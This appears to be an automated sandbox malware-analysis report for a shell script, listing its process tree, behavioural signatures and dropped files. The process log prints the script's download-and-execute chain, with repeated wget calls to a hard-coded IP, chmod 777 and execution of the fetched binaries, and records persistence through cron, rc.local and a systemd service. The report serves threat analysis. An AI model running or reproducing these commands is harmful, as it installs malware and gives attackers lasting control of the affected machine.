Analysis

  • max time kernel
    149s
  • max time network
    93s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/08/2026, 02:10

General

  • Target
    p.sh
  • Size 835B
  • Sample260809-cl3gbagk3t
  • SHA256 14a0c3c28384e040fcf9317dacd5400b9cecd9bdde92fff5f242671fab246a98
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/p.sh
    /tmp/p.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:642
    • /bin/ls
      ls -l /proc/1/exe
      2⤵
        PID:644
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
        • Reads runtime system information
        PID:649
      • /bin/ls
        ls -l /proc/103/exe
        2⤵
          PID:654
        • /bin/ls
          ls -l /proc/105/exe
          2⤵
            PID:660
          • /bin/ls
            ls -l /proc/106/exe
            2⤵
              PID:667
            • /bin/ls
              ls -l /proc/11/exe
              2⤵
                PID:669
              • /bin/ls
                ls -l /proc/12/exe
                2⤵
                • Reads runtime system information
                PID:671
              • /bin/ls
                ls -l /proc/13/exe
                2⤵
                • Reads runtime system information
                PID:673
              • /bin/ls
                ls -l /proc/132/exe
                2⤵
                  PID:676
                • /bin/ls
                  ls -l /proc/135/exe
                  2⤵
                  • Reads runtime system information
                  PID:677
                • /bin/ls
                  ls -l /proc/14/exe
                  2⤵
                    PID:679
                  • /bin/ls
                    ls -l /proc/141/exe
                    2⤵
                    • Reads runtime system information
                    PID:680
                  • /bin/ls
                    ls -l /proc/15/exe
                    2⤵
                    • Reads runtime system information
                    PID:681
                  • /bin/ls
                    ls -l /proc/152/exe
                    2⤵
                      PID:682
                    • /bin/ls
                      ls -l /proc/16/exe
                      2⤵
                        PID:684
                      • /bin/ls
                        ls -l /proc/166/exe
                        2⤵
                          PID:685
                        • /bin/ls
                          ls -l /proc/17/exe
                          2⤵
                          • Reads runtime system information
                          PID:686
                        • /bin/ls
                          ls -l /proc/18/exe
                          2⤵
                          • Reads runtime system information
                          PID:687
                        • /bin/ls
                          ls -l /proc/19/exe
                          2⤵
                            PID:688
                          • /bin/ls
                            ls -l /proc/2/exe
                            2⤵
                              PID:689
                            • /bin/ls
                              ls -l /proc/20/exe
                              2⤵
                              • Reads runtime system information
                              PID:690
                            • /bin/ls
                              ls -l /proc/21/exe
                              2⤵
                                PID:691
                              • /bin/ls
                                ls -l /proc/22/exe
                                2⤵
                                • Reads runtime system information
                                PID:692
                              • /bin/ls
                                ls -l /proc/221/exe
                                2⤵
                                  PID:693
                                • /bin/ls
                                  ls -l /proc/23/exe
                                  2⤵
                                    PID:694
                                  • /bin/ls
                                    ls -l /proc/24/exe
                                    2⤵
                                    • Reads runtime system information
                                    PID:695
                                  • /bin/ls
                                    ls -l /proc/25/exe
                                    2⤵
                                    • Reads runtime system information
                                    PID:696
                                  • /bin/ls
                                    ls -l /proc/26/exe
                                    2⤵
                                      PID:697
                                    • /bin/ls
                                      ls -l /proc/27/exe
                                      2⤵
                                      • Reads runtime system information
                                      PID:698
                                    • /bin/ls
                                      ls -l /proc/28/exe
                                      2⤵
                                        PID:699
                                      • /bin/ls
                                        ls -l /proc/281/exe
                                        2⤵
                                          PID:700
                                        • /bin/ls
                                          ls -l /proc/285/exe
                                          2⤵
                                            PID:701
                                          • /bin/ls
                                            ls -l /proc/287/exe
                                            2⤵
                                            • Reads runtime system information
                                            PID:702
                                          • /bin/ls
                                            ls -l /proc/29/exe
                                            2⤵
                                            • Reads runtime system information
                                            PID:703
                                          • /bin/ls
                                            ls -l /proc/291/exe
                                            2⤵
                                              PID:704
                                            • /bin/ls
                                              ls -l /proc/294/exe
                                              2⤵
                                                PID:705
                                              • /bin/ls
                                                ls -l /proc/297/exe
                                                2⤵
                                                  PID:706
                                                • /bin/ls
                                                  ls -l /proc/3/exe
                                                  2⤵
                                                    PID:707
                                                  • /bin/ls
                                                    ls -l /proc/309/exe
                                                    2⤵
                                                      PID:708
                                                    • /bin/ls
                                                      ls -l /proc/311/exe
                                                      2⤵
                                                        PID:709
                                                      • /bin/ls
                                                        ls -l /proc/323/exe
                                                        2⤵
                                                          PID:710
                                                        • /bin/ls
                                                          ls -l /proc/325/exe
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:711
                                                        • /bin/ls
                                                          ls -l /proc/4/exe
                                                          2⤵
                                                            PID:712
                                                          • /bin/ls
                                                            ls -l /proc/41/exe
                                                            2⤵
                                                              PID:713
                                                            • /bin/ls
                                                              ls -l /proc/42/exe
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:714
                                                            • /bin/ls
                                                              ls -l /proc/43/exe
                                                              2⤵
                                                                PID:715
                                                              • /bin/ls
                                                                ls -l /proc/5/exe
                                                                2⤵
                                                                  PID:716
                                                                • /bin/ls
                                                                  ls -l /proc/564/exe
                                                                  2⤵
                                                                    PID:717
                                                                  • /bin/ls
                                                                    ls -l /proc/576/exe
                                                                    2⤵
                                                                      PID:718
                                                                    • /bin/ls
                                                                      ls -l /proc/578/exe
                                                                      2⤵
                                                                      • Reads runtime system information
                                                                      PID:719
                                                                    • /bin/ls
                                                                      ls -l /proc/581/exe
                                                                      2⤵
                                                                        PID:720
                                                                      • /bin/ls
                                                                        ls -l /proc/582/exe
                                                                        2⤵
                                                                          PID:721
                                                                        • /bin/ls
                                                                          ls -l /proc/6/exe
                                                                          2⤵
                                                                            PID:722
                                                                          • /bin/ls
                                                                            ls -l /proc/626/exe
                                                                            2⤵
                                                                              PID:725
                                                                            • /bin/ls
                                                                              ls -l /proc/632/exe
                                                                              2⤵
                                                                                PID:727
                                                                              • /bin/ls
                                                                                ls -l /proc/634/exe
                                                                                2⤵
                                                                                  PID:729
                                                                                • /bin/ls
                                                                                  ls -l /proc/637/exe
                                                                                  2⤵
                                                                                    PID:731
                                                                                  • /bin/ls
                                                                                    ls -l /proc/639/exe
                                                                                    2⤵
                                                                                      PID:733
                                                                                    • /bin/ls
                                                                                      ls -l /proc/640/exe
                                                                                      2⤵
                                                                                        PID:736
                                                                                      • /bin/ls
                                                                                        ls -l /proc/641/exe
                                                                                        2⤵
                                                                                          PID:738
                                                                                        • /bin/ls
                                                                                          ls -l /proc/642/exe
                                                                                          2⤵
                                                                                            PID:740
                                                                                          • /bin/ls
                                                                                            ls -l /proc/643/exe
                                                                                            2⤵
                                                                                              PID:742
                                                                                            • /bin/ls
                                                                                              ls -l /proc/7/exe
                                                                                              2⤵
                                                                                                PID:744
                                                                                              • /bin/ls
                                                                                                ls -l /proc/74/exe
                                                                                                2⤵
                                                                                                  PID:746
                                                                                                • /bin/ls
                                                                                                  ls -l /proc/8/exe
                                                                                                  2⤵
                                                                                                    PID:748
                                                                                                  • /bin/ls
                                                                                                    ls -l /proc/9/exe
                                                                                                    2⤵
                                                                                                      PID:751
                                                                                                    • /bin/ls
                                                                                                      ls -l /proc/95/exe
                                                                                                      2⤵
                                                                                                      • Reads runtime system information
                                                                                                      PID:753
                                                                                                    • /bin/rm
                                                                                                      rm -rf 86D
                                                                                                      2⤵
                                                                                                        PID:755
                                                                                                      • /usr/bin/wget
                                                                                                        wget http://129.121.110.105/86D
                                                                                                        2⤵
                                                                                                        • Writes file to tmp directory
                                                                                                        PID:757
                                                                                                      • /bin/chmod
                                                                                                        chmod 777 86D
                                                                                                        2⤵
                                                                                                        • File and Directory Permissions Modification
                                                                                                        PID:773
                                                                                                      • /tmp/86D
                                                                                                        ./86D pdvr
                                                                                                        2⤵
                                                                                                        • Creates/modifies Cron job
                                                                                                        • Modifies rc script
                                                                                                        • Modifies systemd
                                                                                                        • Reads runtime system information
                                                                                                        PID:776
                                                                                                        • /usr/local/sbin/systemctl
                                                                                                          systemctl daemon-reload
                                                                                                          3⤵
                                                                                                            PID:794
                                                                                                          • /usr/local/sbin/systemctl
                                                                                                            systemctl enable crond.service
                                                                                                            3⤵
                                                                                                              PID:795
                                                                                                            • /usr/local/bin/systemctl
                                                                                                              systemctl enable crond.service
                                                                                                              3⤵
                                                                                                                PID:795
                                                                                                              • /usr/sbin/systemctl
                                                                                                                systemctl enable crond.service
                                                                                                                3⤵
                                                                                                                  PID:795
                                                                                                                • /usr/bin/systemctl
                                                                                                                  systemctl enable crond.service
                                                                                                                  3⤵
                                                                                                                    PID:795
                                                                                                                  • /sbin/systemctl
                                                                                                                    systemctl enable crond.service
                                                                                                                    3⤵
                                                                                                                      PID:795
                                                                                                                    • /usr/local/bin/systemctl
                                                                                                                      systemctl daemon-reload
                                                                                                                      3⤵
                                                                                                                        PID:794
                                                                                                                      • /usr/sbin/systemctl
                                                                                                                        systemctl daemon-reload
                                                                                                                        3⤵
                                                                                                                          PID:794
                                                                                                                        • /usr/bin/systemctl
                                                                                                                          systemctl daemon-reload
                                                                                                                          3⤵
                                                                                                                            PID:794
                                                                                                                          • /sbin/systemctl
                                                                                                                            systemctl daemon-reload
                                                                                                                            3⤵
                                                                                                                              PID:794
                                                                                                                            • /bin/systemctl
                                                                                                                              systemctl enable crond.service
                                                                                                                              3⤵
                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                              • Reads runtime system information
                                                                                                                              PID:795
                                                                                                                          • /bin/rm
                                                                                                                            rm -rf aWG
                                                                                                                            2⤵
                                                                                                                              PID:781
                                                                                                                            • /usr/bin/wget
                                                                                                                              wget http://129.121.110.105/aWG
                                                                                                                              2⤵
                                                                                                                                PID:793
                                                                                                                              • /bin/chmod
                                                                                                                                chmod 777 aWG
                                                                                                                                2⤵
                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                PID:797
                                                                                                                              • /tmp/aWG
                                                                                                                                ./aWG pdvr
                                                                                                                                2⤵
                                                                                                                                  PID:799
                                                                                                                                • /bin/rm
                                                                                                                                  rm -rf tbW
                                                                                                                                  2⤵
                                                                                                                                    PID:801
                                                                                                                                  • /usr/bin/wget
                                                                                                                                    wget http://129.121.110.105/tbW
                                                                                                                                    2⤵
                                                                                                                                      PID:802
                                                                                                                                    • /bin/chmod
                                                                                                                                      chmod 777 tbW
                                                                                                                                      2⤵
                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                      PID:804
                                                                                                                                    • /tmp/tbW
                                                                                                                                      ./tbW pdvr
                                                                                                                                      2⤵
                                                                                                                                        PID:815
                                                                                                                                      • /bin/rm
                                                                                                                                        rm -rf VFgi
                                                                                                                                        2⤵
                                                                                                                                          PID:816
                                                                                                                                        • /usr/bin/wget
                                                                                                                                          wget http://129.121.110.105/VFgi
                                                                                                                                          2⤵
                                                                                                                                            PID:819
                                                                                                                                          • /bin/chmod
                                                                                                                                            chmod 777 VFgi
                                                                                                                                            2⤵
                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                            PID:820
                                                                                                                                          • /tmp/VFgi
                                                                                                                                            ./VFgi pdvr
                                                                                                                                            2⤵
                                                                                                                                              PID:821
                                                                                                                                            • /bin/rm
                                                                                                                                              rm -rf OLE5
                                                                                                                                              2⤵
                                                                                                                                                PID:822
                                                                                                                                              • /usr/bin/wget
                                                                                                                                                wget http://129.121.110.105/OLE5
                                                                                                                                                2⤵
                                                                                                                                                  PID:823
                                                                                                                                                • /bin/chmod
                                                                                                                                                  chmod 777 OLE5
                                                                                                                                                  2⤵
                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                  PID:825
                                                                                                                                                • /tmp/OLE5
                                                                                                                                                  ./OLE5 pdvr
                                                                                                                                                  2⤵
                                                                                                                                                    PID:826
                                                                                                                                                  • /bin/rm
                                                                                                                                                    rm -rf p
                                                                                                                                                    2⤵
                                                                                                                                                      PID:827
                                                                                                                                                  • /bin/systemctl
                                                                                                                                                    systemctl daemon-reload
                                                                                                                                                    1⤵
                                                                                                                                                    • Enumerates kernel/hardware configuration
                                                                                                                                                    • Reads runtime system information
                                                                                                                                                    PID:794

                                                                                                                                                  Network

                                                                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                                                                        Replay Monitor

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                                                                                                                                                        Downloads

                                                                                                                                                        crond

                                                                                                                                                        • Path /etc/cron.d/crond
                                                                                                                                                        • Size 30B
                                                                                                                                                        • SHA256 35e8b831b9f6379026ced3159988e2aceca819a9cb50cebc4a4382e4ea43332d
                                                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                                                        rc.local

                                                                                                                                                        • Path /etc/rc.local
                                                                                                                                                        • Size 10B
                                                                                                                                                        • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                                                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                                                        rc.local

                                                                                                                                                        • Path /etc/rc.local
                                                                                                                                                        • Size 34B
                                                                                                                                                        • SHA256 8a1de61bda0aebce0af5885b222a1d23522b38915be1d152079fbd1d52d0b988
                                                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                                                        crond.service

                                                                                                                                                        • Path /etc/systemd/system/crond.service
                                                                                                                                                        • Size 193B
                                                                                                                                                        • SHA256 23cc3c459baa278408c96efbdb9c593366d218e34ef69d8435223dd47ef8c737
                                                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                                                        86D

                                                                                                                                                        • Path /tmp/86D
                                                                                                                                                        • Size 73KB
                                                                                                                                                        • SHA256 463a265e6814f047d5e0dec116a38bf72c204a1b30583e5475e19265e49861b2
                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                        p

                                                                                                                                                        • Path /tmp/p
                                                                                                                                                        • Size 1B
                                                                                                                                                        • SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
                                                                                                                                                        • MD5 SHA1 SHA512